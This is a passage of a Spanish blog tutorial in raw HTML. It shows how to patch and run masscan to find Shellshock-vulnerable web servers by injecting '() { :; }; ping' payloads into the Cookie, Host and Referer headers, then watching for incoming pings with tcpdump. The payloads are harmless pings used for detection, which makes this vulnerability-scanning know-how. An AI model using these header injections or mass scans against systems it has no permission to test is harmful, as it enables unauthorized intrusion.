style="color: #909090;">00000000<span style="color: black;">.<span style="color: #909090;">00000001<span style="color: black;"></span></span></span></span></span></span></span></span></tt></td></tr> <tr><td><tt><span style="color: black; font-size: large;">HostMax:</span></tt></td><td><tt><span style="color: blue; font-size: large;">10.255.255.254</span></tt></td><td><tt><span style="color: #909090; font-size: large;">00001010<span style="color: black;">.<span style="color: #909090;">&nbsp;11111111<span style="color: black;">.<span style="color: #909090;">11111111<span style="color: black;">.<span style="color: #909090;">11111110<span style="color: black;"></span></span></span></span></span></span></span></span></tt></td></tr> <tr><td><tt><span style="color: black; font-size: large;">Broadcast:</span></tt></td><td><tt><span style="color: blue; font-size: large;">10.255.255.255</span></tt></td><td><tt><span style="color: #909090; font-size: large;">00001010<span style="color: black;">.<span style="color: #909090;">&nbsp;11111111<span style="color: black;">.<span style="color: #909090;">11111111<span style="color: black;">.<span style="color: #909090;">11111111<span style="color: black;"></span></span></span></span></span></span></span></span></tt></td></tr> <tr><td valign="top"><tt><span style="color: black; font-size: large;">Hosts/Net:</span></tt></td><td valign="top"><tt><span style="color: blue; font-size: large;">16777214</span></tt></td><td><span style="font-size: large;"><span style="color: #009900;">Class A</span>,&nbsp;<span style="color: blue;">Private Internet</span></span></td></tr> </tbody></table> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> las exploraciones se hará al puerto <b>80 </b>y el rango <b>8000-8100</b>&nbsp;</div> <div style="text-align: justify;"> <br /></div> <img src="https://imagizer.imageshack.us/v2/621x135q90/631/S9Aga1.png" /> <br /> <br /> <b>Analizando&nbsp;vulnerabilidad SHELLSHOCK</b><br /> para realizar este análisis hay que descargarse el parche de <b>MASSCAN&nbsp;</b>de modificar las cabeceras HTTP<br /> <ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;"> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> git clone https://github.com/robertdavidgraham/masscan</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> cd masscan/src/</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> rm proto-http.c</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> wget https://raw.githubusercontent.com/robertdavidgraham/masscan/master/src/proto-http.c</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> cd ..</div> </li> <li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> make</div> </li> </ol> <br /> ahora debemos crear un archivo de "configuración" para realizar el escaneo<br /> <br /> <ol style="margin: 0px; padding: 0px 0px 0px 48px;"> <li class="li2" style="-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> objetivo-ip = xxxxx/24</div> </li> <li class="li2" style="-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> port = 80</div> </li> <li class="li2" style="-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> = banners verdadera</div> </li> <li class="li2" style="-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)</div> </li> <li class="li2" style="-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> http-header[Cookie] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx</div> </li> <li class="li2" style="-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> http-header[Host] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx</div> </li> <li class="li2" style="-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> http-header[Referer] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx</div> </li> </ol> Donde las xxx.xxx.xxx.xxx colocar la IP de la maquina la cual hace el scan y asi las maquinas vulnerables hace ping a esa IP.<br /> <br /> Esta configuración de <b>MASSCAN</b> inyecta un comando shell en las cabeceras HTTP Cookies, Host y Referer. Si el servidor remoto es vulnerable a la falla de seguridad "Shellshock" y &nbsp;una de las variables de la Cookie,<br /> <b><br /></b> <b>Host y Referer&nbsp;</b>se utilizan como variables de entorno cuando se llama a un módulo de CGI.<br /> En el caso de nuestra configuración si el servidor es vulnerable a <b>"shellshock" </b>deberíamos recibir un ping de esa maquina.<br /> <br /> Ejecutamos dos terminales en la maquina, en el primer terminar se debe ejecutar <b>TCPDUMP </b>con el fin de mostrarnos todas las solicitudes de ping entrantes y nos permita identificar todas las maquinas vulnerables.<br /> <ol style="margin: 0px; padding: 0px 0px 0px 48px;"> <li class="li2" style="-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> sudo tcpdump -v icmp</div> </li> </ol> <div style="text-align: justify;"> en la segunda terminal ejecuto <b>MASSCAN </b>con la configuración anteriormente creada<br /> <ol style="margin: 0px; padding: 0px 0px 0px 48px; text-align: start;"> <li class="li2" style="-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;"><div class="de2" style="-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;"> sudo masscan -c masscan.conf</div> </li> </ol> <br /> este es el resultado alojado.<br /> <img src="https://imagizer.imageshack.us/v2/957x174q90/912/qnK56y.png" /> <br /> En el cual veo respuesta de una maquina vulnerable.<br /> <br /> Esto es todo amigos espero que les sirva de algo, a mi me ha gustado jugar con esta herramienta y sobre todo con la nueva vul. ShellShock jeje<br /> <br /> Hasta otra ;)<br /> mas información sobre la herramienta:&nbsp;</div> <div style="text-align: justify;"> <a href="http://blog.erratasec.com/2013/09/masscan-entire-internet-in-3-minutes.html#.VDWxb_mSySo">http://blog.erratasec.com/2013/09/masscan-entire-internet-in-3-minutes.html#.VDWxb_mSySo</a></div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0